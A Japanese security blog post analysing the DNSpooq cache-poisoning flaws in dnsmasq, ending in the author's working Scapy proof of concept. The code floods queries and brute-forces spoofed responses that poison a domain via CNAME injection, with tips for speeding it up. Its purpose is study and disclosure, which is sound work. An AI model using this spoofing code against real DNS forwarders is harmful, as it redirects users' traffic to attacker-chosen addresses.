概要
先日DNSpooqという脆弱性が公開されました。
dnsmasqというソフトウェアに関する7つの脆弱性をまとめてDNSpooqと呼んでいて、大きく分けて2つの脆弱性種別で構成されています。
- DNSキャッシュポイズニング
- CVE-2020-25686, CVE-2020-25684, CVE-2020-25685
- バッファーオーバーフロー
- CVE-2020-25687, CVE-2020-25683, CVE-2020-25682, CVE-2020-25681
DNSキャッシュポイズニングとは何か?というのは調べればたくさん出てくるので解説はしませんが、ブログから図だけ引用しておきます。
*上記ブログより引用
バッファーオーバーフローの方はDNSSECの検証時の問題で、リモートから任意コード実行に繋がる可能性があります。
どちらかというとバッファーオーバーフローの方が危険度が高そうなことをホワイトペーパーでは書いているのですが、上記のサイトではKaminsky attack is back!と書いているぐらいなのでキャッシュポイズニングの方で注目を集めたい気配を感じます。
DNSpooq - Kaminsky attack is back!
自分もそちらに興味があったので、このブログではDNSpooqにおけるキャッシュポイズニングの仕組みについて解説して、そのあと実際に自分の書いたPoC(攻撃コード)について説明します。上でも説明しましたが、dnsmasq固有の脆弱性の話であってKaminsky attackと同等に扱うのはどうなんだろうという気もしますが、Kaminsky attackもそもそも単にBINDの実装の問題だったという指摘もあるので気にしないことにします。
dnsmasqに限定されず多くのDNSソフトウェアに影響を与えるキャッシュポイズニングの手法としてSAD DNSというものが2020年に公開されています。こちらについては過去にブログにまとめているので、興味がある人は合わせて確認してください。好みで言うとSAD DNSはサイドチャネルを使っていて興味深くて好きです。DNSpooqは単なる実装のミスという感じなので感動するほどではないですが、とはいえそこから現実的な攻撃に持っていったのはやはり凄いですし、よく考えるなと唸る部分も多いので学んでおくと役に立つと思います。
以下のホワイトペーパーを読んで自分の理解をまとめたものなので、気になる箇所があれば実際に読んでみると理解が深まるかと思います。間違いがあれば指摘いただけると幸いです。
https://www.jsof-tech.com/wp-content/uploads/2021/01/DNSpooq-Technical-WP.pdf
自分の仕事はDNSには全く関係ないのですが、DNSpooqを公表したJSOFはイスラエルのセキュリティ企業であり、イスラエル在住でセキュリティ企業に勤めている自分としては理解しないわけにはいかないなということで真面目にペーパーを読みました。趣味でやっていることなので正確性については何の保証もないということだけ最初に断らせていただきます。
JSOFは最近Ripple20という脆弱性も公表して話題になりましたし、NXNSAttackという別のDNSの問題を見つけたのはイスラエルのテルアビブ大学ですし、やはりイスラエルはサイバーセキュリティ強いなと感じています。SIGRedを報告したのもイスラエルのセキュリティ企業Check Pointですし、この半年ぐらいでいくつ見つけるんだという感じです。
要約
まず最初に詳細を把握するべきかどうかを知りたい人が多いかと思うので自分なりの解釈でまとめます。結論から言うと、
DNSフォワーダとして動かしているdnsmasqがWANに面している場合
は対策した方が良い可能性が高いです。そして厄介なことに直接dnsmasqを使っていなくても使っているネットワーク機器が内部的に利用している場合もあるので、影響機器一覧を見て影響を確認することをお勧めします。以下のVendorsから確認可能です。
LAN内にdnsmasqがある場合でも完全に制御可能なマシンがLAN内にあれば攻撃可能ですが、企業ネットワーク等においてはその前提を満たすのは難しく、もし満たせていればその時点で他にも攻撃可能なパスが多いと思いますので、とりあえずは対象外として良いかと思います。
空港やカフェ、ホテルなど公共のネットワークにおいてはこの前提は攻撃者にとって容易に満たせると思いますので、対策推奨です。
NAT Slipstreamingと組み合わせることで攻撃が容易になると書かれているので、LAN内に攻撃者が制御可能なマシンがなくても攻撃可能になる可能性もありますが、詳細は書かれていませんしどの程度の実現性なのかは不明です。
WANに面している場合の説明に戻りますが、その場合は以下の2つのパターンがあります。
1の場合は受け付ける必要がないなら設定で修正するべきですし、意図的に公開しておく必要があるならdnsmasqのバージョンを更新するのが良いと思います。
そして2の場合ですが、こちらも実は比較的容易に攻撃可能のためやはり更新推奨です。というのも、後述していますがブラウザから攻撃者のWebサイトを閲覧させるだけでキャッシュポイズニング出来る可能性があります。1の直接問い合わせ可能な場合と比べると難易度は上がりますが、不可能と言い切るには少し実現性が高そうと感じています。小規模ネットワークでルータがDNSフォワーダも兼ねていて内部でdnsmasqを利用している、などが想定される状況かと思います。もちろん大規模ネットワークでも上のような構成になっていれば影響を受けます。
以下に図を引用しておきます。
上の条件はDNSSECを有効にしていない場合のキャッシュポイズニングの影響の話です。割合として少ないと思うのでDNSSECが有効な場合については触れませんが、有効な場合はバッファーオーバーフローの影響を受けることになるので上記ブログなどを参照してください。
上の条件に当てはまる人は後半の対策・緩和策を見ていただければと思います。影響をきちんと理解してから対策したいという人はこのあとの詳細を読んでいただけると対策するべきかどうかの理解が深まるかもしれません。
詳細
では実際にDNSキャッシュポイズニングの脆弱性(CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)について説明していきます。
背景
DNSキャッシュポイズニングを行うためには、以下の2つを推測する必要があります。
- TXID(transaction ID)
- Source UDP port
正規のリクエストに対して攻撃者は偽のレスポンスを返すわけですが、その中に推測した上記の2つの値を含めます。TXIDはDNSのプロトコル自体に含まれているIDで、リクエストと同じ値をレスポンスに含める必要があります。Source UDP portは名前の通りUDPのソースポート番号でこちらも当然リクエストの送信元ポート番号とレスポンスの送信先ポート番号を一致させる必要があります。
元々ランダムな値はTXIDしかなかったのですが、2008年に公開されたカミンスキーアタックによって多くのソフトウェアで推測を難しくするためにソースポート番号のランダム化が実装されました。
これらの値は両方16bitであるため、合計で32bitのランダム性があります。総当りするには現実的でない値のため、偽のレスポンスをDNSサーバに信じ込ませるというのは通常困難です。そこで、これらのエントロピーを少なくして総当りで成功しやすくする手法というのがDNSキャッシュポイズニングの主な手法になってきます。実際に上のSAD DNSではソースポート番号をサイドチャネル攻撃を使って推測し、TXIDは総当りしています。
今回のDNSpooqはdnsmasqの実装ミスによりそれぞれの空間が減ってしまっていて総当りが容易になっているというもので、やはり総当たりが前提となってきます。
前提
今回の脆弱性でキャッシュポイズニングを成功させるためには以下のいずれかの条件が必要です。
dnsmasqがインターネットに公開されている
dnsmasqはインターネットに公開されていないが、攻撃者はLAN内のユーザに攻撃者の管理しているWebサイトを閲覧させることができる
dnsmasqはインターネットに公開されていないが、LAN内のマシンが攻撃者の支配下にある
それぞれ要約で引用している3つの図と対応しています。
論文では上のように書いていますが、自分の理解を足して補足すると2も3もdnsmasq自体はグローバルIPアドレスを持っているがクエリ自体はLANからしか受け付けないという状況と理解しています。NAT配下にあると状況が変わってしまうので、dnsmasqがDNSクエリを転送した時、ソースIPアドレスとポート番号はdnsmasqサーバのものになっている必要があるかと思います。
これらの構成の場合ははデフォルトの設定で影響を受けますし、追加で何か特別な情報を事前に得る必要もありません。攻撃対象のDNSフォワーダのIPアドレスは必要ですが、そのぐらいかと思います。注意点としては、フルサービスリゾルバではなく単にフォワーダであるという点です。dnsmasqは自分の知る限りではDNSに関してはフォワーダとしての機能しかないと思うので、使っている人であれば勘違いすることはないかと思います。自分が知らないだけでフルサービスリゾルバとしても動くよ、などあれば教えて下さい。ただ少なくともこのペーパー内ではフォワーダとして話を進めているので、今後の話はフォワーダについてだと考えてください。
それぞれについてもう少し細かく説明します。
インターネット上に公開されたdnsmasq
ホワイトペーパーから引用した図にあるように、dnsmasqがインターネットに公開されていてDNSクエリも受け付けるという状態の場合です。Shodan.io で調べたところそのような脆弱なdnsmasqサーバは100万台程度あったそうです。
また、偽レスポンスを返すためのサーバがインターネット上に必要でこちらはソースIPアドレス等を偽装できる必要があります。ソースIPアドレスを偽装できないような制限を入れているISPというのもあるのですが、まだまだそうではないISPも多いのでこれの実現は容易です。
LAN内のマシンが攻撃者の支配下にある
dnsmasqがLAN内からしかクエリを受け付けないとしても、LAN内のマシンを乗っ取っていれば今回の脆弱性を悪用することが可能です。図からも分かる通り、dnsmasq自体はインターネットに対して足を持っている必要があると考えられます。
こちらもさきほど同様、インターネット上に偽装パケットを送信できるサーバが必要です。もしLAN内のマシンを完全に乗っ取っている場合は、そちらからも偽装パケットが送信できるのでその場合はサーバが不要です。
空港やホテルなど誰でも繋げるようなネットワークでかつdnsmasqがDNSフォワーダとして動いているような場合、LAN内のマシンを乗っ取らなくても攻撃者が直接LANに繋がることができるので容易に攻撃可能です。その場合、同一ネットワーク内にいる全ユーザが汚染されたDNSキャッシュの影響を受けます。
LAN内のマシンに攻撃者管理のWebサイトを閲覧させることができる
上の状況とほぼ同じですが完全にLAN内のマシンを操作できる必要はなくて、単にLAN内のマシンから攻撃者のWebサイトをブラウザ上で閲覧させることができれば十分です。上記の2つと同様に偽装パケットが送信できるサーバがインターネット上に必要です。
そして、以下のいずれかを満たす必要があります。
- Safari上で攻撃者のJavaScriptを実行可能な単一マシン
- Chrome上で攻撃者のJavaScriptを実行可能な複数マシン
この理由については後述します。そしてEdge/IEの挙動は不明らしいです。
影響
あまりDNSpooq固有の影響というわけではなくキャッシュポイズニングが可能なら一般的に可能かなという内容になっていますが、一応解説しておきます。
中間者攻撃
狙ったドメイン名を異なるIPアドレスに対して名前解決可能なので、攻撃者のサーバに誘導したりしてトラフィックを盗み見ることが可能です。HTTPSやHSTSを使っている場合は影響を受けません。
汚染拡大
これは少しDNSpooq固有の前提が関係してくるのですが、まずLAN内のdnsmasqが汚染され同時にモバイル端末のローカルキャッシュも汚染されたとします。次に異なるLANに移動した場合、汚染されたローカルキャッシュが残っているので攻撃者のサーバなどに繋ぎに行きます。それをきっかけに新しいLAN内のdnsmasqも汚染することが可能です。
ただ上に書いたように前提として、LAN内のユーザに任意のWebサイトを閲覧させたりマシンを乗っ取ったりしておく必要があるので、そもそもそれが出来るなら汚染された人が移動する必要はないような気もします。パブリックWi-Fiなどセキュリティの弱いところで汚染された人が会社などのセキュリティ固いところに繋いで汚染が拡大してしまう、ということなら分からなくはないかなという感じです。
DDoS/Reverse DDoS
大量のdnsmasqのキャッシュを汚染して攻撃者のWebサイトに誘導します。そして悪意あるJavaScriptを返してブラウザから特定の攻撃対象に対して大量の通信を送ればDDoS攻撃になります。キャッシュポイズニングできればそりゃできるよな...という内容です。
*JSOFのブログより引用
Reverse DDoSはその逆で特定のWebサーバに対するアクセスを全て別のサーバに飛ばしてしまい、アクセスできなくさせる手法のようです。Webサイトの所有者としてはアクセスがなくなると困るのでお金を払ってReverse DDoSをやめてもらうというシナリオを想定しているようです。
*JSOFのブログより引用
CVE-2020-25684: ポートの多重化
dnsmasqのフォワーダはDNSクエリを上流のキャッシュサーバに転送するわけですが、その時に利用されるソケットの最大数は64となっています。各ソケットはランダムなソースポート番号が使われるため、dnsmasqはソースポート番号のランダム化(Source Port Randimization, SPR)が有効になっていると言えます。TXIDと合わせると32bitのエントロピーとなるわけですが、実装の問題によりそうはなっていなかったというのがこの脆弱性です。
dnsmasqでは1つのポートを1つのTXIDと結びつけるのではなく多重化しています。ホワイトペーパーだとかなりこの部分が個人的には分かりにくかったのですが修正のコミットを見たらわかりやすかったです。
上記コミットの説明にも書いてある通り、送信時のポート番号と正確に一致しなくてもlistenしているポートであればどれであっても受け入れてしまうということです。
この結果、本来であれば16bitあったソースポート番号のエントロピーが6bit(=64)減ってしまうことになります。TXIDと合わせると32bitが26bitまで減ります。とはいえ26bitというのはまだ十分に総当りが困難で、現実的な脅威にはなりません。DNSキャッシュポイズニングを行うためには正規のレスポンスが返ってくる前に偽のレスポンスを送りつける必要があり攻撃できる時間はかなり限られているためです。
ですが、後述の脆弱性と組み合わせることで現実的な攻撃に落とし込んでいます。
CVE-2020-25685: 脆弱なCRC32の利用
DNSpooqの中だと一番面白い脆弱性かと思います。
dnsmasqがクエリを転送する際、まだ返答の来てないクエリは最大で150まで転送されます。150に到達したら一つ返ってくればまた一つ転送できるようになり...という形で管理されています。
繰り返し述べているようにレスポンスに含まれるTXIDはリクエスト時のTXIDと等しい必要があります。もちろん単にTXIDが等しければよいというわけではなくてQuestionセクションも等しい必要があります。このQuestionセクションはどのようなドメイン名のどのようなレコードタイプ・クラスを問い合わせていたか、というものが含まれています。例を上げると www.example.com A IN のようなものです。dnsmasqではQuestionセクションの検証のためにこれらの値をそのまま用いるのではなくハッシュを用います。
Questionセクションの値をつなぎ合わせた値のハッシュを取り、そのハッシュ値だけを保持します。そしてレスポンスから得られたハッシュ値と比較して一致するか検証します。
DNSSECが有効になっていない場合、CRC32がハッシュ関数として用いられます。
CRC32(b"www.bank.com\x00\x01\x00\x01")
問題は、CRC32は暗号的に安全なハッシュ関数ではないということです。攻撃者は特定のドメイン名のCRC32と等しいドメイン名を多数作り出すことができるため、それらのドメイン名をレスポンスとして返してもdnsmasqは受け入れてしまいます。
言葉だとわかりにくいと思うのでペーパー上の図を見てみます。
まず攻撃者はクライアントにCRC32が同一となるような複数のドメイン名に対するクエリを発行させます。この例だと mwynqabc.attacker.com
や idigvuo.attacker.com
などです。これらのクエリに対して攻撃者は malicious.attacker.com
のドメイン名とそのリソースレコードを返します。すると全てのドメイン名のCRC32の値は等しくなるようにしてあるため(例では 0x3fd447f4
)、リクエストでは mwynqabc.attacker.com
を問い合わせていたのに malicious.attacker.com
のレスポンスを受け入れてしまうということが起きてしまいます。
何が嬉しいのかと言うと、それぞれに個別のTXIDが振られるという点です。150クエリまで同時に転送されるため、150のTXIDが同一のCRC32となるドメイン名それぞれに作られます。しかし攻撃者はそのいずれかのTXIDを推測できればdnsmasqはレスポンスを受け入れるため、本来16bitの中から1つを推測する必要があったのに16bitの中から150のいずれかを引き当てれば良くなります。つまりエントロピーは 216/150 になります。
ちなみにDNSSECが有効になっている場合、SHA-1が使われます。SHA-1の衝突攻撃については2017年に発表されましたが、今回の攻撃では少なくとも150個程度を衝突させる必要があり現時点では現実的には難しいとされています。
CVE-2020-25686: 同一ドメイン名に対する複数クエリ発行
基本的な考え方は上の脆弱性と同じなのですが、dnsmasqでは同一ドメイン名のクエリが複数同時に来た場合、全てを通常通り転送してしまいます。そしてレスポンスはそれらのうちどれか一つと一致すればよいため、上と同様の攻撃が可能になります。ドメイン名がそもそも等しくハッシュ値は必ず等しくなるため、仮に安全なハッシュ関数を利用していてもこの攻撃は刺さります。つまり、同一ドメイン名に対するクエリ(例えば仮に malicious.attacker.com )を150個投げるとそれぞれにTXIDが振られるため、攻撃者は malicious.attacker.com のレスポンスを総当りで返して150個のいずれかにヒットすればdnsmasqはそれを受け入れます。
上の図ではTXIDを連番にしていますが、実際にはランダムな数値で150個です。
衝突させる必要がないため脆弱なCRC32を利用した上の方法よりも容易なのですが、一部のスタブリゾルバ(ブラウザなど)では重複したDNSクエリが一気に送られないように重複排除する仕組みが入っておりこの方法は動きません。そのような場合は上のCRC32の方法を使い、重複排除が入っていない場合はこちらの手法を使うことができます。
説明を聞いて既に理解しているかと思いますが、併用できるものではなくいずれかの手法だけが有効でエントロピーを150減らすことが出来ます。CVE-2020-25684と合わせると150*64減らすことが出来ます。元々あった32bitから19bit程度まで削減することが出来て、50万クエリ程度でキャッシュポイズニングが可能になってしまいます。これは十分現実的な数で、ネットワークの状況にもよるが数秒か5分程度以内で送信完了できるとしています。さらにいくつかの最適化によりほとんどの場合では1分以内に攻撃が実現可能と主張しています。
DNSフォワーダにおけるレスポンスの未検証
脆弱性の話として面白いのは上の部分ですが、実害として大きいのはこちらの問題かと思います。dnsmasqではCNAMEを悪用することで不正なレコードを注入することが出来ます。仮に www.example.comのAレコードを問い合わせたとして攻撃者が以下のレスポンスを返したとします。
www.example.com CNAME www.bank.com www.bank.com A 6.6.6.6
BINDはこのような場合、 www.bank.com
のレコードをキャッシュせず正しいものかどうか再度上流に問い合わせて検証します。一方、dnsmasqはレスポンスの検証はせずにこの値をそのまま受け入れます。しかしJSOFによればこの挙動自体は脆弱性ではなく合理的としています。というのは、DNSフォワーダの役割を考えた場合、フルサービスリゾルバから返ってきた返答が返ってくるわけですがフルサービスリゾルバ側で既に繰り返し問い合わせているはずだからです。もしDNSフォワーダで再度再帰で問い合わせるとなった場合、多くの無駄が生じます。そのため、DNSフォワーダにおいてそのまま受け入れるのは特におかしいことではないと説明されています。
とにかくdnsmasqでは上記のような場合に www.bank.com
は6.6.6.6であると信じてしまうため、実際には誤りであってもそのレコードをキャッシュに注入します。CNAMEには最大10個まで同時に入れることが出来るため、最初の一つは問い合わせられたドメイン名と一致させるとして残りの9個は好きなドメイン名を入れることが出来ます。つまり上の手法を使ってキャッシュポイズニングをする場合、好きなドメイン名を一気に9個汚染することが出来ます。TTLに関わらず既存のキャッシュも上書きできるため、既にレコードがキャッシュ内にあったとしても防ぐことは出来ません。
CNAMEを無条件に信じちゃうなら、そもそも attacker.com
を解決させてCNAMEに google.com
とか入れておけば汚染し放題だしTXIDの推測とか必要なくない?と思ったのですが、これは恐らくフォワーダは上流のフルサービスリゾルバを信頼しており、そのフルサービスリゾルバでレスポンス検証を行っているので汚染されたCNAMEは返ってこないという前提があるのかなと思います。
つまりGoogleのPublic DNS( 8.8.8.8
)などを上流として指定している場合は攻撃者の権威サーバから汚染されたレコードを返しても 8.8.8.8
で浄化されてフォワーダに返ってきてしまうので攻撃が刺さらないのかなと考えています。そのため、 8.8.8.8
から返ってくる前にソースポート番号とTXIDを推測した偽装パケットを送りつけてフォワーダを信じさせる必要があります。
組み合わせる
では実際に上で説明した脆弱性を組み合わせて攻撃につなげるまでの手順を説明します。今回はdnsmasqがLAN内からのクエリしか受け付けずかつ攻撃者はLAN内のマシンを支配下に置いている、または攻撃者のWebサイトを閲覧させることが出来るという条件における攻撃手順になります。
ドメイン名の登録
CNAMEを使って汚染していくわけですが、その元となるドメイン名は必要になるため attacker.com
を最初に取得して権威サーバも立てておきます。
ソースIPアドレスの偽装
上でも説明しましたが、偽装パケットが送出可能なISPを見つけて(現時点では簡単に見つかります)その中でサーバを借りれば準備OKです。LAN内に完全にコントロール可能なマシンがある場合はそこからソースIPアドレスを偽装したパケットが送れるのでこちらは不要になります。
CRC32の衝突
既に説明した通り、DNSSECが有効でない場合はカスタムしたCRC32がリクエスト/レスポンスの検証に使われます。 www.bank.com
のAレコードINクラスの場合は以下のようになります。
CRC32(b"www.bank.com\x00\x01\x00\x01")
ここでCRC32の特徴として、 CRC32(x) = CRC32(y)
となるようなxとyがある場合、それらに共通のサフィックスをつけてもCRC32の値は等しくなります。 CRC32(x||s) = CRC32(y||s)
つまり、 malicious.attacker.com
のAレコードINクラスと衝突させたければ attacker.com
のサブドメインとして使う前提であれば malicious
という文字列とCRC32が等しくなる文字列を探せばよいということになります。それ以降のサフィックスがすべて等しいためです。これはSMTソルバのZ3を使えば見つけることが出来ます。見つかった文字列のうち、ASCII文字列やドットのみを含みドメイン名としてふさわしい文字列を選びます。
この方法で malicious
と等しい300,000程度の文字列を見つけたとのことです。1回の試行あたり150以上あれば良いので十分すぎる量です。時間内に刺さらなかった場合は別の150を使う必要があるので多ければ多いほど良いです。
攻撃の流れ
DNSフォワーダとして動くdnsmasqが入っているやられマシンと2つのサーバを用意します。一つはLAN内で、もう一つはインターネット上に置きます。LAN内のサーバは上で得た300,000のドメイン名の中から適当に選んでDNSクエリを送ります。これらは同時に送って150のクエリがdnsmasq上でレスポンス待機中の状態にします。説明したようにソケットの最大数がデフォルトでは150ですが、設定により異なる場合はその上限まで送ります。
そしてdnsmasqが上流のキャッシュサーバ(例えば 8.8.8.8
など)にクエリを転送している間に、インターネット上にあるサーバから偽装レスポンスをdnsmasqに大量に送りつけます。 8.8.8.8
から正規のレスポンスが返ってくる前にdnsmasqに受け入れられる必要があるため時間はシビアです。しかし正規のレスポンスが遅く返ってくれば攻撃のチャンスは広がります。レスポンスを遅くさせるために以下のような工夫をしています。
- 常に異なるドメイン名を使う
- ネガティブキャッシュなどにヒットしてすぐ返ってしまうと困るため、300,000の中から同じものを使わないようにDNSクエリを送信していきます。
- 存在しないドメイン名を使う
- キャッシュにヒットしてしまっても困りますし、毎回攻撃者の権威サーバに問い合わせて欲しいため攻撃者が管理しているゾーンかつ存在しないサブドメイン名を使うと良いです。
- 権威サーバのレスポンスをできるだけ遅らせる
- 今回の攻撃ではキャッシュサーバは攻撃者が管理している権威サーバに問い合わせることになるため、レスポンスを遅くすればそれだけdnsmasqへのレスポンスも遅くなります。今回の実験ではシンプルに権威サーバを落としたようです。
これらをすることで2秒程度は時間を稼げるようです。レスポンスを遅くするというのはDNSキャッシュポイズニングではセットとしてついてくるものでSAD DNSの論文でも手法の一つが説明されています。ただしこちらは攻撃者が管理している権威サーバに問い合わさせることが可能ですし、存在しないドメイン名も使えるためSAD DNSの手法よりはコントロールが容易かと思います。
攻撃は数秒から5分未満で終わるため、2秒は攻撃を成功させるのに十分な時間であるとのことです。後述してますが実験した限りだと2秒はあまり十分な感じがしませんが、必ずしも一発で成功させる必要はないと考えれば十分なのかもしれません。
ブラウザからの攻撃
上の例ではLAN内のマシンから大量にDNSクエリを送っていましたが、ブラウザからでも同じことが可能です。まず攻撃者のWebサイトにアクセスさせてJavaScriptを実行させます。このJavaScriptではAJAXを使って大量のDNSクエリを送信します。iOSのSafariでテストしたところ十分な量のDNSクエリが送信可能だったということです。ただしAとAAAAレコードを問い合わせてしまうため、上限の150ではなく75までしか同時に問い合わせることが出来ず成功確率は少し下がります。レコードタイプはハッシュ計算の時に含まれているため、CRC32が一致しなくなってしまうためです。
Firefoxは拡張機能を使えば出来そうだが未検証とのこと。
そしてChromeですが、一定期間に送出できるDNSクエリの数が制限されているようです。そのため1台のマシンからだと150に達するほどのDNSクエリが送れないため攻撃が難しいですが、複数マシンを使うことで実現可能です。
検証端末
dnsmasqは2.78-2.82のバージョンで検証し、それら全てが今回の脆弱性の影響を受けたとのことです。さらにCisco RV 160WやOpenWRT 18.06/19.07なども脆弱であることが分かりました。Netgear R7000やCheck Point 1500 V-80はキャッシュ機能が無効になっており脆弱性の影響は受けなかったとのことです。DNSSECが有効であればCRC32の脆弱性を悪用するのは難しいわけですが、今回の検証端末全てでDNSSEC無効の状態でコンパイルされていたとのことです。表を引用しておきます。
攻撃の成功確率
詳細は割愛しますが、攻撃に2秒間の猶予があるとして90バイトのパケットを100Mbpsのネットワーク上で大量に送る場合、291,270パケットを送ることが出来ます。そのうち、19it程度のエントロピーを持つTXIDとソースポート番号に一致する確率は約50%とのことです。つまり攻撃を仕掛ければ2回に1回は毒を入れられることになります。
実際にはインタフェース側でパケットがドロップされてしまったりしてこれほど理想的にパケットを送ることは出来ないはずですが、より太い回線でより速く送れる可能性もありますし、十分現実的な攻撃と言えるかと思います。
PoC
ホワイトペーパーでしっかり説明してくれているので自分でExploitを書いてみました。実は何か特別なことをしているわけではなく、単に大量のUDPパケットを送ってTXIDとソースポート番号を総当りするだけです。なのでPoCは公開しても問題ないかと考え下記で公開しています。
検証環境のdocker-compose.ymlも同梱しているので試したい人はすぐ試せるようにしてあります。
工夫としてはCVE-2020-25685またはCVE-2020-25686を使ってTXIDを増やしヒットする可能性を増やす点です。ホワイトペーパー内では脆弱なCRC32を使って衝突するドメイン名を事前に用意して攻撃していましたが、今回のPoCでは単に同じドメイン名に関するクエリを大量に飛ばしています。ブラウザなどで制限が入っていない場合はそれで十分です。
ソースポート番号についてはクエリを大量に送れば分散してくれるのであまり意識しなくても良いです。
docker-composeで3つのコンテナが立ち上がりますが、それぞれ以下の図のような関係になっています。
それぞれについて解説します。
fowarder
forwarderコンテナにdnsmasqの2.82がインストールされています。そしてforwarderに対して大量のDNSクエリを送信します。この際、CVE-2020-25686を悪用したいので全て同じドメイン名にします。今回のPoCでは example.com としています。LAN内のマシンにDNSクエリを送らせることもできますが、今回は簡単のため攻撃者が直接DNSクエリを発行しています。dnsmasqがWANからのクエリを受け付ける場合は今回と似た環境になるはずです。
そしてforwarderは example.com のレコード及びキャッシュを持っていないので上流のDNSサーバに転送します。dnsmasqでは以下のように設定しているため、10.10.0.4のIPアドレスを持つcacheに転送されます。
$ cat dnsmasq.conf log-queries no-resolv server=10.10.0.4
ここは通常ISPのDNSサーバやGoogle Public DNSなどを指定しますが、今回は構成を簡単にするためにローカルのコンテナを指定しています。
そしてデフォルトだとタイムアウトが10秒で4回再送されるため合計40秒程度なのですが、実験の成功率を上げるために値を大きくしておきます。コンパイル時にしか直せないようなので src/config.h
の値を書き換えます。
sed -ie 's/TIMEOUT 10/TIMEOUT 1800/' src/config.h
さらに成功率を上げたければクエリの同時最大転送数の値や利用されるポートの値を大きくしても良いと思います。手元で試した限りではデフォルトの値でも数分以内に成功していたので変えなくても大丈夫そうでした。
sed -ie 's/FTABSIZ 150/FTABSIZ 1500/' src/config.h sed -ie 's/RANDOM_SOCKS 64/RANDOM_SOCKS 500/' src/config.h
cache
そしてcacheはforwarderから転送されたDNSクエリが飛んでくるわけですが、特に何もしません。デバッグがしやすいように以下のようなコードでソースポート番号やTXIDを表示しておきます。
#!/usr/bin/python from scapy.all import * def packet_handler(pkt): if pkt.haslayer(DNSQR) and pkt.haslayer(UDP): print(f"Source port: {pkt[UDP].sport}, TXID: {pkt[DNS].id}, Query: {pkt[DNSQR].qname}") print("Sniffing...") sniff(filter="udp port 53 and ip src 10.10.0.2", prn=packet_handler)
ここでもしすぐに返してしまうと攻撃するチャンスが減ってしまうため、何もしないほうが良いです。現実の環境でには8.8.8.8に転送されその後攻撃者の権威サーバに問い合わせられるので、そこでわざとレスポンスを遅らせる必要がありますが正規のドメイン名を取得して権威サーバ用意するのは大変なので簡易的に上記の構成としています。ただし、権威サーバで意図的に遅らせたとしても8.8.8.8はタイムアウトしてすぐにforwarderにレスポンスを返すと思うので今回の実験ほど攻撃者に猶予はないと思います。ペーパー内では攻撃ウィンドウは2秒程度と書いていました。今回の実験では上で設定した1800秒待ってくれるので十分な時間があります。
attacker
そして最後は肝心の攻撃用コンテナです。
大量クエリの送信
まずdnsmasqに多くのポートを使わせつつ多くのTXIDを発番させる必要があるため、同一ドメイン名に対するクエリをforwarderに向けて同時送信します。TXIDを固定にしてクエリを投げたらたくさん投げてもうまく転送してくれなかったので、idは変化させています。デフォルトでは最大150個までしかクエリを転送してくれないので、150回クエリを投げています。
# DNS query qd = DNSQR(qname="example.com", qtype="A", qclass='IN') req = IP(dst="10.10.0.2") / UDP(dport=53) / DNS(id=0, rd=1, qd=qd) dns_layer = req[DNS] # socket s = conf.L3socket(iface="eth0") print("Querying non-cached names...") for i in range(150): dns_layer.id = i s.send(req)
愚直にsendで書いたら遅すぎてうまく刺さらなかったのですが、事前にパケットとsocketは用意しておいて使い回すようにしたら大分速くなりました。ただ後述しますが、もっと工夫すればもっと速く出来ます。
偽装レスポンスの送信
そしてcacheからのレスポンスに見せかけてforwarderにDNSレスポンスを送りつけます。この際、ソースポート番号を推測して送信先のポート番号に設定する必要があります。これは何の工夫もなく全てのポートを総当りします。実際には1024番以下はエフェメラルポートで試す必要がないので、1025番以上だけで良いです。そしてTXIDも推測する必要があるので総当りします。
まずはベースとなるパケットを組み立てます。
res = Ether() / \ IP(src="10.10.0.4", dst="10.10.0.2") / \ UDP(sport=53, dport=0) / \ DNS(id=0, qr=1, ra=1, qd=qd, an=DNSRR(rrname="example.com", ttl=900, rdata="google.com", type="CNAME", rclass="IN") / DNSRR(rrname="google.com", ttl=900, rdata="169.254.169.254", type="A", rclass="IN")) dns_layer = req[DNS] udp_layer = req[UDP]
上の例では example.com
のクエリに対してCNAMEで google.com
を返し、 google.com
は 169.254.169.254
というIPアドレスであるという毒を入れています。CNAMEのchainは最大10なので、既に説明したように同様の方法で他に9個まで毒を入れられます。そこまでは自分は試していないので、誰か興味あればやってみてください。
あとでDNSのTXIDとUDPの送信先ポート番号を変えたいので dns_layer
と udp_layer
を用意しています。
あとはこれを総当りすれば良いので、雑に以下のように実装しました。
# brute force: txid * source port txids = range(1, 2**16) sports = range(1025, 2**16) candidates = itertools.product(txids, sports) # socket s = conf.L3socket(iface="eth0") for txid, sport in candidates: # Update TXID and UDP dst port udp_layer.dport = sport dns_layer.id = txid s.send(res)
短いコードなので簡単に理解できると思いますが、上で作ったベースとなるパケットのTXIDとdportを変化させつつひたすらにパケットを投げ続けています。
高速化の話
実は上のコードだと遅すぎて全然刺さりませんでした。事前にパケットの配列にしておいてsendに渡すとか工夫してみたのですが内部的には単にfor文を回していたのでダメでした。そもそも32bit個あるペアを全て事前にメモリに持とうとするとメモリ不足で死にます。決められた数ずつ区切って...とか他にも工夫してみましたがやはり遅かったです。
色々調べていたところ、ありがたいことにやはりパケットのバイト列にエンコードする部分が遅いということを突き止めた人がいて、事前に raw()
を呼んでバイト列にしておけば十分速いということが分かりました。TXIDとdportの値を変更する必要がありますが、前半のヘッダ部分は固定長なので簡単に差し替え可能ですしUDPのチェックサムさえ計算してしまえばバイト列のまま新しいパケットを作れます。Scapyは抽象化されていて便利ですが、やはり時には生のパケットを触る必要があるということですね。ですがありがたいことにchecksum関数もScapyから既に提供されているのでほとんど労力なく再計算可能です。
以下のように37, 38バイト目がdst portになっているのでネットワークバイトオーダーにして入れてあげて、TXIDも同様に43, 44バイト目に入れてあげます。あとはチェックサムを再計算して41, 42バイト目に入れればOKです。
def patch(dns_frame: bytearray, pseudo_hdr: bytes, dns_id: int, dport: int): # set dport dns_frame[36] = (dport >> 8) & 0xFF dns_frame[37] = dport & 0xFF # set dns_id dns_frame[42] = (dns_id >> 8) & 0xFF dns_frame[43] = dns_id & 0xFF # reset checksum dns_frame[40] = 0x00 dns_frame[41] = 0x00 # calc new checksum ck = checksum(pseudo_hdr + dns_frame[34:]) if ck == 0: ck = 0xFFFF cs = struct.pack("!H", ck) dns_frame[40] = cs[0] dns_frame[41] = cs[1]
上で作ったベースとなるパケットを raw()
に渡してバイト列にしておけば準備は完了です。
# optimization dns_frame = bytearray(raw(res)) pseudo_hdr = struct.pack( "!4s4sHH", inet_pton(socket.AF_INET, res["IP"].src), inet_pton(socket.AF_INET, res["IP"].dst), socket.IPPROTO_UDP, len(dns_frame[34:]), )
あとはforの中で patch()
を呼んで事前に作っておいたsocketでsendすれば良いです。既にバイト列(dns_frame
)になっているのでL3socketではなくL2socketを使う必要があります。
